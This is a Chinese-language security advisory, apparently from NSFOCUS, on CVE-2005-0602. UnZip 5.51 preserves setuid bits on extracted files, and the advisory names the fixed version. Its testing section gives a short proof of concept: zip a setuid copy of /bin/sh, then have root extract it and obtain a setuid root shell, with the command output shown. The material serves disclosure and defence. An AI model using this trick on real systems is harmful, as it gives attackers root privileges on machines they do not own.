安全研究

安全漏洞
Unix Unzip保留解压文件setuid和setgid属性漏洞

发布日期:2005-02-28
更新日期:2005-03-01

受影响系统:
UnZip UnZip 5.51
不受影响系统:
UnZip UnZip 5.52
描述:
CVE(CAN) ID: CVE-2005-0602

unzip是一款对.zip文件格式进行解压的Unix下的工具。

unzip在解压的时候没有正确检查文件属性,本地攻击者可以利用这个漏洞构建恶意文件放置到系统上。

unzip在解压的时候仍旧保持原来的文件权限,并没有任何错误提示,因此攻击者可以构建一个恶意ZIP文件,诱使用户打开,在系统上建立恶意特权文件。

<*来源:Albert Puigsech Galicia (ripe@7a69ezine.org
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=110960796331943&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

可以创建一个恶意ZIP文件,如下:

$ cp /bin/sh .
$ chmod 4777 sh
$ zip malicious.zip sh


如果其他用户(包括root)打开了该文件,就会不经警告便创建setuid shell文件,如下:

# id
# unzip malicious.zip
Archive:  malicious.zip
  inflating: sh
# ls -l sh
-rwsrwxrwx  1 root root 705148 Jan 16 17:04 sh

建议:
厂商补丁:

UnZip
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载unzip 5.52:

http://www.info-zip.org/pub/infozip/UnZip.html

浏览次数:2684
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障